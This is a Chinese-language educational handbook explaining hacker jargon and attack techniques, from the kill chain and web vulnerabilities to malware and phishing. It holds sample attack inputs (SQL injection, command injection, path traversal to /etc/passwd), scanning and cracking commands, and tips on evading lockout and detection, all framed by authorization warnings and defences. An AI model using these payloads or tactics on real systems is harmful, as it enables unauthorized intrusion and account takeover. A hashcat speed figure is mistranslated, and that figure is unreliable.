🕶️ 黑客黑话深度科普手册

杀伤链不只是一种"攻击理论"，它还是一张术语地图：遇到听不懂的词，先问"它在链上哪个位置"，方向就不会错：

这七个格子的内容，正是本书后续章节要逐个展开的主角。后面每学一个新词，试着把它"放回链上"——你会发现自己突然能读懂整篇攻击分析报告了。

它到底能干啥：程序写完后会编译成二进制（机器码），人眼基本看不懂。逆向就是把它"翻译"回人读得懂的东西：还原函数逻辑、数据结构、算法、通信协议，甚至加密密钥。你可以把二进制当成"盲盒"，逆向就是"拆盲盒并画说明书"。

能拿到什么有价值的资源：

• 算法与协议：某个 APP 的加密怎么做的、签名怎么生成的、协议字段怎么组（做兼容、对接、研究）
• 密钥与硬编码秘密：藏在前端/客户端里的 API Key、Token、加密密钥（很多公司都犯过把密钥写死在代码里的错）
• 漏洞点：缓冲区溢出、逻辑缺陷、隐藏后门——恶意软件分析靠的就是这个
• 完整行为画像：样本会连接哪个服务器、上传什么数据、有没有反调试（威胁情报核心产出）

什么时候用 / 应用场景：

• 恶意软件分析（勒索病毒、木马：它想干什么、C2 在哪、怎么清除）
• CTF 逆向题（flag 藏在算法里）
• 自有软件授权机制分析 / 兼容性研究 / 老旧无源码系统维护
• 竞品协议对接、设备固件分析（路由器、摄像头、智能家居）
• 外挂与反外挂、加壳脱壳研究

基本策略与手段（三层递进）：

1. 静态分析：不运行程序，直接读。工具链：strings（捞字符串）→ file/checksec（看格式与保护）→ 反汇编器 IDA Pro / Ghidra / radare2（看汇编伪代码）→ 反编译器（C 语言还原）。先看字符串、导入表、入口点，再进关键函数。
2. 动态分析：放进隔离环境跑起来。调试器（x64dbg、GDB、LLDB）下断点、单步、改寄存器；Frida 这类 Hook 框架直接在运行时拦截函数调用、改返回值——动态能验证静态推断，还能绕过反调试。
3. 符号执行与自动化：angr 这类工具自动遍历路径求解输入，破解"输入什么能通过校验"这类问题非常高效。

注意点：逆向是纯研究技能，但用来偷商业机密、破解商业软件传播破解版、分析并复刻他人服务协议去抢流量，都会踩法律红线。反调试、加壳（UPX/VMProtect/OLLVM）会让过程痛苦数倍，先学"脱壳"再往下走。另外别在真机/生产环境跑未知样本——虚拟机快照是你的保险。

它到底能干啥：软件的授权校验通常长这样：你输入注册码 → 程序算一遍 → 比对结果 → 通过/拒绝。破解就是找到这个校验点，然后要么"改校验逻辑让它永远通过"（补丁 patch），要么"还原出注册码生成算法"（注册机 keygen）。

能拿到什么：注册码/卡密生成算法、去除时间限制/功能锁的版本、序列号验证的漏洞证据。

什么时候用 / 应用场景：

• 自有软件：验证自己的授权系统是否扛得住（作者视角的"自攻自检"）
• CTF 破解题 / crackme 社区挑战（专门写来给人破解的练手程序）
• 研究商业软件的授权强度：为什么卡密能批量生成？为什么离线激活能被复刻？
• 企业遗留软件维护：供应商倒闭、授权服务器下线，需要本地化恢复（授权范围明确）

基本策略（经典四步）：

1. 定位校验函数：字符串搜"注册码错误/Invalid key"→ 交叉引用到比对函数；或断点 API（内存比较、注册表读写）
2. 追数据流：你的输入怎么被变换（查表、异或、RSA/哈希），和什么比
3. 还原算法：把生成逻辑翻译成脚本（keygen）；或直接改跳转指令 jz → jnz 让失败分支永不执行（patch）
4. 验证：跑起来确认授权生效、功能完整、无崩溃

注意点：这条线最敏感。商业软件"现成破解版分发"、"激活服务器搭售"是明确不接的；只做自有资产授权分析、crackme、CTF。还要注意：现代软件会做"校验自校验"（检测自己被改了）、联网验证、壳与反调试，复杂度陡增。学破解的正确路径永远是：crackme 起步 → 自有软件验证 → 理解防御（反过来加固自己的产品）。

它到底能干啥：站在攻击者的角度，从外到内真实地"打"一遍目标系统，找出所有能被利用的路径，最后出具报告告诉防守方：哪里能被打穿、怎么打穿的、损失会是什么、怎么修。本质是"用进攻验证防守"。

能拿到什么：服务器/域名权限（Shell、Webshell）、数据库数据、账号凭据、内网横向移动路径、未授权接口、配置错误清单——全部以"证据"形式进报告。

什么时候用 / 应用场景：

• 企业上线前/定期安全评估（合规要求如等保、PCI-DSS）
• SRC 众测：大厂开放漏洞平台（漏洞盒子、补天、各厂 SRC），白帽提交漏洞换积分换钱
• 红队攻防演练：检验 SOC 能不能发现入侵
• CTF 靶场 / 自建靶场（DVWA、靶机 vulnhub）练手

基本策略：严格按杀伤链走（第三章展开）：侦察 → 扫描 → 探测 → 利用 → 提权 → 横向 → 持久化 → 痕迹清理。方法论上有 OSSTMM、PTES 等标准；衡量危害用 CVSS 评分；描述攻击用 MITRE ATT&CK 矩阵（把攻击拆成战术×技术，是攻防圈通用语言）。

注意点：没有授权书 = 违法，这是所有渗透的第一前提。授权范围（IP、域名、时间窗口、可操作边界）必须书面写死。渗透中禁止"超出授权目标的横向移动"、禁止真删库、禁止勒索式动作。规范的乙方还会约定"应急联系人和止损机制"。

它到底能干啥：用程序自动访问网站、解析页面、批量提取数据，比如抓商品价格、抓新闻、抓评论、抓公开接口返回。它不是攻击，但它是情报收集（OSINT）和批量数据业务的基础设施。

能拿到什么：公开网页数据、接口 JSON 结构、页面渲染逻辑、批量注册的账号库（灰色地带）、市场行情快照。

什么时候用 / 应用场景：

• 比价、价格监控、舆情分析、竞品数据
• 搜索引擎索引（正经爬虫的鼻祖就是 Googlebot）
• 安全领域：收集暴露资产（子域名、开放端口、泄露凭据）——FOFA/Shodan 这类"网络空间测绘"本质是超大规模爬虫
• 情报收集：社工库、钓鱼目标画像的前置步骤

基本策略与手段：

1. 协议定位：先开 DevTools 看页面请求——往往有现成 JSON 接口，比解析 HTML 高效十倍
2. 模拟会话：带 Cookie、UA、Referer，处理登录态、分页、限流
3. 反反爬对抗：验证码识别、IP 代理池、浏览器渲染（Playwright/Puppeteer）对抗 JS 动态渲染、请求频率控制对抗封 IP、指纹伪装对抗风控
4. 健壮性：断点续爬、去重、异常重试、增量更新

注意点：robots.txt 和网站 ToS 是法律与道德的边界；高频爬取把别人服务打瘫 = 违法；抓到的个人数据受《个人信息保护法》约束；"公开数据"≠"可以随意商用"。合规做法：低频、只取必需、尊重 robots、遵守 ToS、不外泄个人信息。

它到底能干啥：游戏里你看到的敌人位置、血量、弹道，在内存里都是变量。外挂原理 = 找到这些变量的内存地址 → 读出来（透视/ESP、雷达）或写进去（无敌、瞬移、自瞄）。辅助型外挂（macro）则是模拟按键鼠标。

能拿到什么：内存基址与偏移、数据结构（玩家/物体列表）、绘制挂钩点（覆盖渲染实现透视）、输入模拟通道。

什么时候用 / 应用场景：

• 游戏安全研究：反外挂工程师必须懂外挂怎么写，才能检测它
• 自建靶场/开源游戏实验：验证内存读写与 Hook 原理
• CTF pwn / 内存分析练习：CE（Cheat Engine）是极好的内存教学工具

基本策略（五步链）：

1. 进程分析：找目标进程、模块、基址
2. 内存定位：Cheat Engine 搜变化值（血量变化 → 精确扫描 → 指针链追踪）
3. 逻辑还原：反汇编找对象管理、视矩阵、实体列表结构
4. 实现：外部读写（ReadProcessMemory）或内部注入（DLL + Hook，DirectX/OpenGL 绘制 overlay）
5. 对抗验证：反作弊（内核驱动、完整性校验、行为检测）会怎么发现你

注意点：对在线商业游戏制作和使用外挂：违反用户协议、封号、还可能触犯刑法（非法经营/提供侵入计算机信息系统程序罪）。原理研究请限定在自建靶场、开源游戏、单机测试环境。反作弊研究反而是安全岗位的正当方向。

它到底能干啥：不猜逻辑漏洞，就是硬试：把口令/验证码/密钥空间里的候选值一个一个试，直到撞对。跟试保险箱密码一个道理。配套词汇：字典攻击（用常用口令表试）、密码喷洒（一个弱口令试所有账号，规避锁定策略）、撞库（用别处泄露的账号密码来试本系统）、彩虹表（预计算哈希反查表，加速破解哈希）。

能拿到什么：弱口令账号、登录凭证、加密后的口令哈希（然后离线破解）、验证码绕过后的任意登录。

什么时候用 / 应用场景：

• 渗透测试：系统管理员密码是最大突破口（默认口令、弱口令太常见）
• 密码恢复：自己忘了加密文件密码、Wi-Fi 密码
• 哈希破解：拿到数据库泄露的口令哈希后离线还原明文（评估泄露影响）
• CTF 密码学题

基本策略与手段：

1. 工具：在线爆破用 hydra/medusa（SSH/FTP/Web 登录），离线哈希用 hashcat/john
2. 速度是关键：GPU 并行。hashcat 在 RTX 4090 上跑 NTLM 哈希约 160 GH/s（每秒 1.6 亿次），跑 MD5 约 250 GH/s；跑弱口令字典几秒就完
3. 规则增强：基础字典 + 变形规则（加年份、大小写、特殊字符、键盘序列）覆盖 70%+ 真实口令
4. 规避检测：喷洒式低频尝试绕锁定、分布式慢速绕告警
5. 验证码对抗：OCR、打码平台、会话复用绕过

注意点：爆破是最容易被日志和安全设备抓个正着的攻击；账户锁定策略会直接废掉高频爆破；对真实第三方系统的爆破=违法且基本必被抓。防御对应的就是：强口令 + MFA + 限速锁定 + 哈希加盐（让彩虹表失效）。

它到底能干啥：漏洞是程序里的缺陷，利用（exploit）是"把缺陷变成实际伤害"的那段精确输入。比如：一个参数没过滤 → 塞 SQL 语句让它执行（SQL 注入）；一段内存拷贝没检查长度 → 溢出改写返回地址 → 执行你的代码（栈溢出）。利用 = 找到触发点 + 构造载荷（payload）+ 达成目标（读数据/执行命令/提权）。

能拿到什么：远程代码执行（RCE）、数据库内容、管理员权限、任意文件读写、服务瘫痪。

什么时候用 / 应用场景：

• 渗透测试的高潮阶段：前面侦察扫描都是为这一步找靶点
• 漏洞研究：挖到 0day（未公开漏洞）价值极高（见第五章）
• CTF pwn / web 题：每个漏洞类型就是一类题型
• 恶意软件：木马、勒索都是某个漏洞利用的产物

基本策略：漏洞分类学（OWASP Top 10 / CWE）→ 找到对应利用手法 → 用现成框架（Metasploit 模块、nuclei 模板）或手写载荷 → 验证与后利用（拿 shell → 提权 → 横向）。漏洞生命周期：被发现 → 公开（CVE 编号、CVSS 评分）→ 被武器化 → 补丁发布 → 窗口期结束。关键窗口：0day（补丁前）价值最大；N-day（已公开已补丁）批量利用最普遍。

注意点：利用代码会触发安全设备告警、可能打崩目标（非预期副作用）、本身也可能被溯源。研究利用必须在隔离靶场。对企业而言：补丁速度 = 生死线（漏洞公开到被批量利用往往以小时计）。

攻击者想法："目标是谁？有什么系统？从哪进门最小代价？"

具体动作：查域名 Whois（注册人邮箱=钓鱼线索）、证书透明度（subdomain 全部暴露）、GitHub 搜代码里的密钥与内网地址、Shodan 搜暴露的数据库与摄像头、Google Hacking 搜 site:xxx filetype:sql、LinkedIn 摸员工岗位（财务/IT/高管是重点目标）、社媒看动态（出差=办公室人少）、招聘网站看技术栈（用什么框架=找对应漏洞）。

留下痕迹吗：纯被动侦察不留痕；一旦开始主动扫描，目标 WAF/日志就见你了。

防守方对照：自查"公司信息暴露面"——把攻击者会看的自己先看一遍：公开泄露的代码、员工违规晒工牌、测试系统挂公网。

攻击者想法："找到入口了，现在造一枚子弹。"

具体动作：针对漏洞写 exploit 载荷（如 SQL 注入的 OR 1=1）、制作带宏的 Office 恶意文档、把木马打包加壳免杀（躲开杀毒软件的检测）、构造鱼叉钓鱼页面（仿冒登录框）、或者干脆购买现成的攻击工具包（暗网 RaaS 勒索软件按分成卖）。

典型产物：恶意文档、漏洞载荷、钓鱼链接、仿冒页面、恶意 APK。

防守方对照：邮件网关拦截宏文档、EDR 检测免杀逃逸、行为沙箱跑一遍附件再放行。（详见 08C 恶意软件篇）

攻击者想法："造好了，怎么让它到目标的手里/机器上？"

七种常见投递方式：① 钓鱼邮件（最常用，一封带附件或链接的邮件）；② 恶意网站（诱导访问，浏览器漏洞/下载器）；③ 水坑攻击（先黑掉目标常去的网站，守株待兔）；④ U 盘投递（BadUSB/诱饵 U 盘扔停车场）；⑤ 供应链投递（黑掉软件更新服务器，用户更新=中招——SolarWinds、xz 事件）；⑥ 广告投放（恶意广告 Malvertising）；⑦ 二维码（贴假的支付码/快递码）。

防守方对照：邮件内容过滤 + 附件沙箱 + 员工钓鱼演练（点击率是核心 KPI）+ USB 管控 + 更新源校验（供应链安全）。

攻击者想法："子弹到了，现在扣扳机。"

具体动作：触发漏洞拿到执行权。Web 漏洞（SQLi/XSS/上传）让攻击者在服务器上执行代码；文档漏洞（宏/0day）让受害者双击后执行；钓鱼是"人肉利用"——骗你输入密码或点开附件。利用成功后，攻击者通常拿到：一个 shell（远程命令窗口），或者一个高权限账号。

成功判据：拿到任意代码执行/凭据，不一定要 root——先站稳，再提权。

防守方对照：及时打补丁（Log4j 数小时的窗口期）、应用最小权限、网络分段隔离内网。

攻击者想法："万一漏洞被补了，我得留个后门随时能回来。"

典型持久化手段：Windows 注册表 Run 键、计划任务（定时拉起恶意程序）、服务伪装、启动文件夹、WMI 事件订阅、内存马（不落盘只驻内存）、账户后门（创建隐藏管理员）、DLL 劫持。Linux 侧：cron 任务、systemd 服务、SSH 公钥注入、rootkit。

防守方对照：监控新增计划任务/服务/启动项（Sysmon + 事件日志）、EDR 行为检测、账号基线比对。

攻击者想法："机器已经被我控了，但我不能每次手动操作，得让它自己连回来听指令。"

原理：受害机器（肉鸡）主动向攻击者的 C2 服务器（伪装成正常网站流量/走加密隧道/域前置隐藏真实地址）发起外连，然后： ① Beacon（信标）——肉鸡定期"打卡报到"（心跳），如每 60 秒请求一次特定 URL；② 下发指令——攻击者在 C2 面板下发命令（截屏、抓密码、内网探测、上传下载文件）；③ 扩展——用这台上线机器作为跳板横向移动，感染更多机器。

实战工具：Cobalt Strike（最著名的 C2 框架，Beacon 是它的核心概念）、Metasploit 的 Meterpreter、以及开源的 Sliver/Havoc（见 07 工具篇）。

防守方对照：出口流量审计（异常心跳/隧道）、威胁情报拦截已知 C2 域名 IP、EDR 检测 Beacon 行为特征（周期性 DNS 请求、JA3 指纹）。

攻击者想法："进来了，控住了，现在干正事。"

三大类目标：① 偷数据——找到数据库/文件服务器，打包拖走（数据外泄，Equifax/Capital One 案例见 08++）；② 锁数据勒索——全盘加密 + 勒索信，逼你交赎金（见 14 勒索篇）；③ 破坏——删除数据、瘫痪系统（NotPetya 把 Maersk 全球系统 49 分钟内打瘫）；④ 长期潜伏——AP 级攻击不惊动目标，持续偷听好几年（SolarWinds 潜伏 9 个月）。

防守方对照：数据加密与 DLP（防外泄）、3-2-1 备份（防勒索）、流量出站管控（防拖库）、蜜罐拖延时间（拖延=发现=止损）。

以下所有命令都假设你在授权靶场/自有资产上练习（如目标换成 DVWA、vulnhub 靶机 IP）。真实目标需书面授权——这是全书反复强调的红线。

第一步：被动收集（不碰目标，先攒情报）

whois example.com                # 注册人/邮箱/服务器商
dig example.com any              # 看 DNS 记录（A/NS/MX/TXT）
subfinder -d example.com         # 子域名枚举（证书透明度+字典）
curl "https://crt.sh/?q=example.com&output=json"  # 证书透明度直接查子域
google: site:example.com filetype:pdf  # 公开文档里可能有内网拓扑

第二步：主动探测（开始碰目标，留痕从这里开始）

nmap -sS -p- --min-rate 2000 目标IP   # SYN 全端口快扫（TCP）
nmap -sV -sC -p 22,80,443,3306,6379,9200 目标IP  # 对开放端口做版本+默认脚本
whatweb 目标IP                     # Web 指纹：什么框架、什么中间件
ffuf -w 字典.txt -u http://目标IP/FUZZ  # 目录爆破找隐藏文件/后台

第三步：情报归拢（把零散信息拼成攻击面地图）

把上面结果填进一张表：开放端口 → 服务/版本 → 已知漏洞/攻击面 → 优先级。例：发现 3306 开着且是 MySQL 5.5（老版本）→ 优先试弱口令；发现 80 是 ThinkPHP → 直接查 ThinkPHP 历史 RCE；发现 9200 Elasticsearch 未授权 → 直接尝试访问 /_cat/indices 看有没有数据。

一句话：把 SQL 语句"注射"进程序拼好的查询里，让数据库执行你写的话。

示例：登录接口 SELECT * FROM users WHERE name='$u' AND pwd='$p'，输入 u = admin' -- 就把密码判断注释掉了，直接免密登录。更狠的是联合查询 UNION SELECT 拖出整个用户表、读文件、写 webshell。

能拿到：数据库全量数据（等于脱库）、管理员权限、服务器 shell（结合数据库写文件）。

注意：参数化查询 + 最小权限 + WAF 是标准防线。SQLMap 是自动化的扛把子。

一句话：往页面注入 JavaScript，别人的浏览器替你执行。

三类：反射型（URL 拼进去，点链接触发）、存储型（存进服务器，所有人访问都中招，危害最大）、DOM 型（纯前端逻辑触发）。

能拿到：登录 Cookie（盗号）、键盘记录、钓鱼页面注入、"借用户之手"干坏事（CSRF 结合）、社工跳板。

注意：输出编码 + CSP（内容安全策略）+ HttpOnly Cookie 是标准防线。XSS 长期霸榜 OWASP 前列，因为人类是最大漏洞。

一句话：你登录着银行，攻击者让你点一个链接，浏览器"替你"转账。

原理：浏览器发请求会自动带 Cookie（同源信任）。攻击者只需构造一个<img>标签或表单，诱导你访问。能拿到：以受害者身份执行任意操作（转账、改密、发帖）。防线：CSRF Token（随机数校验）、SameSite Cookie、二次确认。

一句话：服务端会去请求你指定的 URL（比如"图片预览""网页快照"功能），你把 URL 改成内网地址，让服务器替你打内网。

能拿到：内网端口探测、云元数据（169.254.169.254 上常挂着云服务器的临时密钥 IAM Role）、内网应用交互。近十年最火漏洞之一，云渗透的起手式。防线：SSRF 是出了名的难防——URL 白名单、DNS 重绑定防护、禁止回环/内网地址。

一句话：上传点没做好校验 → 传一个 .php/.jsp 木马上去 → 直接拿到服务器执行命令的能力（Webshell）。路径穿越则是用 ../../etc/passwd 这种"返回上级"的写法读任意文件。能拿到：Webshell、源码、配置文件（含数据库密码）。防线：白名单扩展名、上传目录禁止执行、随机文件名、内容嗅探。

一句话：程序把对象"A编码成字符串传出去、再用时解码还原"。如果还原过程能触发对象里的魔法方法，攻击者构造一个恶意序列化串就能让它执行任意代码。经典案例：Java Fastjson、Shiro、Python pickle、PHP unserialize。能拿到：RCE（远程代码执行），经常是"一发入魂"级漏洞。防线：不反序列化不可信数据、白名单类、升级带反序列化过滤的框架版本。

一句话：用户输入被直接塞进模板引擎（Jinja2、Freemarker、Twig）当代码执行了。测试痕迹：输入 7*7 返回 49。能拿到：RCE、读文件、内网探测。防线：模板语法转义、用户输入与模板代码隔离。

一句话：程序要执行系统命令（ping、wget），但你输入的东西被拼进了命令行。输入 127.0.0.1; whoami 就多执行一条。能拿到：直接在服务器上执行命令=最高权限入口之一。防线：别拼命令，用参数数组调用、白名单字符。

一句话：前置代理（Nginx/CDN）和后端服务器对请求边界的理解不一致，把请求"切开重组"走私一条隐藏请求进去——可以绕过 WAF、投毒缓存、劫持会话。参数污染：传 id=1&id=2，不同层取到不同值，前后端逻辑错位。能拿到：WAF 绕过、缓存投毒、越权。防线：前后端协议一致性、禁用 TE/CL 头歧义。

一句话：目标有个子域 test.example.com 的 DNS 指向 GitHub Pages/AWS S3/Heroku，但那个账号删了/换了。攻击者重新注册这个"悬空引用"，子域就归自己了。能拿到：在该域名下挂钓鱼页、偷 Cookie（域名信用=顶级信任）。防线：下线服务时删 DNS、定期审计悬空 CNAME。

一句话：JS 的对象会继承原型（Object.prototype）。攻击者通过特殊 key（__proto__、constructor.prototype）污染原型，让所有对象"凭空多出属性"——常导致绕过校验、RCE。能拿到：影响面超大（一个对象的事 = 全应用的事）。防线：深拷贝别用递归合并不可信数据、key 过滤、Object.create(null)。

一句话：XML 解析器支持外部实体引用（<!ENTITY>），可以读本地文件、发请求到外网（外带数据）。能拿到：任意文件读取（如 /etc/passwd）、SSRF、内网探测。防线：禁用 DTD、升级解析器默认配置。

云时代攻击面变了：SSRF → 元数据：云服务器内网 IP 169.254.169.254 上帮你挂着临时密钥（IAM Role 凭据），SSRF 一划就拿到；S3/OSS 桶：配置错误（公开读/写）导致数据裸奔，工具 aws-cli、Bucket 枚举一把梭；横传：拿到 AK/SK（访问密钥）就能以该角色操作整个云账号；K8s 容器逃逸：容器隔离被突破（如 runC CVE-2019-5736、CVE-2022-0492 cgroup），从容器打进宿主机，再横向整个集群。云上最好的防御 = 最小权限 IAM + 密钥轮换 + 元数据服务加固（IMDSv2）+ 镜像扫描。

你不是唯一入口——你的依赖也是。依赖混淆：搭一个同名的私有包到公开仓库，别人拉依赖时命中的是你的恶意包。恶意包投毒：在 npm/PyPI 上发名字相近的高仿包（typosquatting：lodahs 仿 lodash），躺等开发者装错。史上最震撼案例（2024 年 3 月）：攻击者潜伏两年成为 xz-utils 开源库维护者，在压缩库里植入后门（CVE-2024-3094，CVSS 10.0），波及全球几乎全部 Linux 发行版 SSH 登录——

披着合法外衣的程序，装上后攻击者可以远程操作你这台电脑（摄像头、键盘、文件、当跳板）。经典远控：Gh0st、灰鸽子、njRAT，以及 Cobalt Strike 这类"军火级" CS 框架（红队 C2 标准工具）。能拿到：屏幕、键盘记录、文件、内网入口，甚至整台电脑成为"肉鸡"。

潜伏到操作系统底层（内核驱动、引导区、固件），连杀毒软件都看不见它。检测对抗：隐藏进程/文件/端口、内核 Hook、SSDT 挂钩。Bootkit 更进一步，藏在 MBR/UEFI 固件里，重装系统都能活下来——物理级顽固。

不落盘、不以文件形式存在：直接跑在内存里（PowerShell 远程加载、注册表、WMI、计划任务）。"离地攻击"= 用系统自带合法工具（powershell、wmic、certutil）干坏事——杀软很难分清"合法使用"和"恶意使用"。已经成了勒索木马的标配开场方式。

WebShell = 网页后门（上传一个 .jsp/.php 文件就等于给网站装了遥控器）；内存马 = 不落盘的 Java 内存命令执行器（filter/listener 型），审计和杀软都扫不到文件——只能靠内存检测与流量分析发现。

攻击者为了让恶意代码"过安检"（杀软/EDR），手段包括：加壳（UPX/VMProtect/Themida 压缩+加密代码段）、控制流混淆（OLLVM 花指令、控制流平坦化）、字符串加密、入口点混淆、白名单程序加载（劫持合法签名软件）、间接系统调用。免杀 = 绕过安全软件的检测，是红队和恶意软件共同的核心课题。

工具学得快不快，取决于第一印象。下面每条都指向"看得见的结果"——跑完你就知道工具在干嘛：

# 1. 扫描类（先认识目标）——在你自己电脑/靶机上跑
nmap -sV localhost              # 看到自己开了哪些端口和服务
nmap -sS 靶机IP                 # 对比全连接和半开的速度差异

# 2. Web 类（学会拦截和重放）——Burp 装好后
#    浏览器设代理 127.0.0.1:8080 → 访问任意网站 → Burp 里看到每个请求
#    右键 Repeater → 改参数 → Go → 看响应变化（这就是"改包"）

# 3. 密码类（体会 GPU 暴力）
hashcat -m 0 -a 0 密文.txt rockyou.txt   # -m 0 是 MD5，-a 0 是字典攻击

# 4. 内网类（打开 BloodHound 的第一眼震撼）
#    靶机装 SharpHound → 收集 → 导入 BloodHound 前端 → 看"最短攻击路径"

# 5. 逆向类（Frida 的"改变世界"瞬间）
frida-ps -U                        # 列出设备进程（看到目标进程了吗）
frida-trace -U -i "函数名" 目标APP  # 跟踪任意函数调用与参数

跑完这五条，你已经摸过五大类工具的"手感"。接下来每学一个新工具，都问自己三句话：它解决什么问题？我手里的场景用得上吗？它的输出我怎么验证？——带着目的学，比背命令有效十倍。

把时间线上所有大事件排一排，你会看到一个高度重复的剧本：漏洞公开 → 数小时内出现武器化利用 → 没打补丁的系统批量中招 → 损失按天翻倍。2014 Heartbleed（50 万台服务器）、2017 WannaCry（150 国 30 万台，NSA 工具泄露后 21 天爆发）、2021 Log4Shell（公开 6 小时内出现利用，CVSS 满分）——每一次都是同样的节奏。

为什么大家还是慢？因为打补丁要停机、要测试兼容性、要维护一堆老系统。但数据反复证明：高危漏洞 72 小时内不补，被利用风险指数级上升。CISA 干脆用 KEV 目录（已知被利用漏洞清单）强制要求 7 天修复——这就是用制度对抗人性。

Verizon DBIR 连续多年报告：60%~74% 的数据泄露涉及人为因素（弱口令、钓鱼、误操作）。你防御做得再好（补丁、WAF、EDR），一封写得很真的钓鱼邮件就可能让全部防线白搭。Equifax 1.47 亿人数据泄露的根因是没打补丁；Capital One 1.06 亿客户数据被 SSRF 打穿；而更多的案例，开头只是一封邮件。

所以现代防御的投入占比悄悄变了：安全意识的预算（钓鱼演练、培训）和技术的预算已经同样重要。记住：技术漏洞可以补，认知漏洞只能练。

那些动辄百万美元的 0day（Zerodium 给 iPhone 链开价超 200 万美元）、上百亿的勒索赎金流水（Chainalysis 2023 年追踪到约 11 亿加密货币赎金付款）、488 万美元一次的数据泄露平均成本（IBM 2024）——它们共同说明：数据就是新时代的石油，地下交易就是它的黑市。

理解了这一点，你再看任何"免费"服务就有数了：免费 App 靠什么活？你的数据。免费破解软件装着什么？大概率是木马。天下没有免费的午餐，在网络安全领域这句话不是鸡汤，是商业模式。

含义：冒充可信机构（银行/平台/领导/同事）群发消息，骗目标点链接、输账号、下附件。

攻击者行为链：伪造官网或邮件模板 → 群发/定向发送 → 诱导点击 → 盗号或植入木马 → 洗劫账户。

防：看域名（拼写差一个字母就是陷阱）、不点陌生链接、重要账号开双因素认证。

含义：针对特定个人定制的钓鱼——先 OSINT 摸清目标职位、同事、业务，再仿冒真正相关的人发消息，命中率远高于广撒网。

行为链：情报收集 → 定制诱饵（仿冒 CFO 邮件/伪装会议邀请）→ 一对一投递 → 等目标上钩。

防：对"看似合理但突然的请求"（转账、发密码）走电话二次确认；邮件域名与内部通讯录核对。

含义：专钓高管/财务的鱼叉钓鱼——大鱼（鲸）一次上钩就够吃一年。目标是 CEO、CFO 这类有审批权的人。

行为链：伪造老板邮箱 → 给财务发"紧急转账/发工资表/买礼品卡"指令 → 财务执行转账 → 钱进洗钱账户。

防：财务对外转账必须电话/当面双重确认；"紧急+保密+别声张"三连的邮件=高危信号。

含义：Business Email Compromise（商务邮件诈骗）——冒充老板或供应商邮箱骗财务汇款，是全球企业损失最高的社工手法（FBI 统计累计损失数百亿美元）。

行为链：黑掉或仿冒真实邮箱 → 潜伏观察业务节奏 → 在恰当时机发转账指令 → 赃款走境外/多层账户。

防：换账号/换收款方必须电话确认；大额转账走审批双签；域内邮件开启外部发件人标识。

含义：猎物总会去喝水——先黑掉目标群体常访问的网站（行业论坛/供应商官网/政府门户），植入恶意代码，等猎物自己送上门。

行为链：锁定目标人群常去的站 → 黑站或买广告位投恶意脚本 → 静候访问 → 路过式下载感染。

防：常去站点装 HTTPS 并留意证书；终端 EDR 检测路过式下载；高危人群用隔离浏览器。

含义：把目标收过的真实邮件克隆一份，替换其中的链接/附件为恶意版本，再以"更新/重发"名义发出——因为内容看着眼熟，受害者警惕性极低。

行为链：截获或猜中一封目标近期真实邮件 → 克隆并替换链接 → 伪装"原链接失效重发" → 诱导再次点击。

防：对"重发/更新"类邮件重新核对发件地址；不点邮件内链接，从浏览器书签直达官网。

含义：冒充银行/平台/运营商客服打电话或发短信，说"你的账户异常/有退款"，骗验证码、密码或诱导下载"安全控件"（实为木马）。

行为链：拿到部分信息（姓名/手机号）增加可信度 → 编造紧急事由 → 索要验证码或引导转账 → 得手拉黑。

防：任何"客服"索要验证码=骗子；官方客服不会主动要密码；挂断后回拨官方号码核实。

含义：不碰键盘先碰人——攻击者假扮 IT 维修工/快递员/保洁混进办公区，或在楼下等员工开门（尾随），再插 BadUSB、抄 wifi 密码、贴假充电桩。

行为链：踩点（门禁/工位/着装）→ 伪装身份进入 → 物理接触设备（插 U 盘/装窃听）→ 拿到内网入口。

防：访客必须登记陪行；尾随进门的陌生人要拦；工位锁屏；公司发认证钥匙扣（FIDO）替代密码。

含义：抢注与知名品牌只差一个字母的域名（go0gle.com、amaz0n.com），等用户输错时接住流量。

行为链：批量注册相似域名 → 挂钓鱼页或恶意下载 → 等流量（误输/邮件引用）→ 盗号或传播木马。

防：收藏夹保存官网；输错域名出现"登录"页时先看证书；企业应注册相近域名防御。

含义：用长得一模一样的外文字符伪造域名——西里尔字母 а（Cyrillic）和拉丁 a 肉眼无法区分，浏览器地址栏却指向完全不同的站点。

行为链：注册用外文字符拼出的"合法域名" → 伪造登录页 → 受害者以为在真官网输入账号密码。

防：浏览器开启域名国际化显示（IDN 显示为 punycode 形式）；涉及输入密码时核对证书与域名。

含义：把恶意网页刷到搜索结果前排——搜"XX破解版/XX软件下载/银行客服电话"，第一页全是钓鱼站。

行为链：批量建站堆关键词 → 买外链/刷点击抬排名 → 用户从搜索点入 → 下载捆绑木马或假客服骗钱。

防：搜索结果带"广告"标记的慎点；软件只从官网下载；客服电话以官网公示为准。

含义：只能通过 Tor 等匿名网络访问的"地下城"，搜索引擎抓不到；上面流通泄露数据、漏洞、黑客服务，是黑产的中转站。

行为链：攻击者在暗网市场出售拖库数据/0day/勒索工具包 → 买家拿去实施攻击 → 收益回流暗网。

防：企业用暗网监控（扫描自己域名是否出现在泄露数据市场）预警；个人被拖库的密码立即全改。

含义：admin/admin、123456、password 这类一猜就中的口令——仍是内网沦陷的头号入口。

行为链：扫描开放端口 → 试默认口令（路由器/摄像头/数据库）→ 登录成功 → 直接接管设备。

防：强制 12 位以上复杂密码；禁用默认账号；内网资产定期弱口令巡检（自有资产授权测试）。

含义：把所有可能的密码组合挨个试——纯数字/纯字母穷举，靠算力硬撞。

行为链：hydra/medusa 对登录接口 → 按字符集与长度生成组合 → 逐条尝试 → 命中即登录。

防：登录限速+失败锁定+验证码；密码加长（每多一位，穷举时间指数级翻倍）；SSH 禁密码登录用密钥。

含义：不用穷举，而是拿现成的密码字典（常见弱口令、泄露密码集合，如 RockYou 系列上亿条）批量试——现实中大多数密码都在字典里。

行为链：取泄露库/字典 → 规则变形（加年份/符号/大小写）→ 批量尝试 → 命中率远高于纯暴力。

防：口令不取自字典词汇+生日+键盘序列（qwerty/1qaz）；企业做泄露密码匹配（HaveIBeenPwned 风格）强制改密。

含义：拿空间换时间——预先把海量密码的哈希（MD5/SHA1 等）算好存成"彩虹表"，破解时直接查表反查明文，秒出结果。

行为链：拿到密码哈希文件 → 查对应彩虹表（下载即可）→ 命中则反推出明文 → 尝试登录其他系统。

防：服务端存密码加随机盐（salt）——每个用户盐不同，同一密码哈希也不同，彩虹表直接失效；改用 bcrypt/argon2 慢哈希。

含义：反着来——一个常见密码对几百上千个账号各试一次，专打"账号锁定"策略：每个账号只试 1-2 次就不会触发锁定，但总有一批账号用着弱密码。

行为链：收集有效用户名（枚举/AD 情报）→ 用"Winter2024!"类密码逐个账号试 1 次 → 换下一个密码再扫一轮 → 命中零告警。

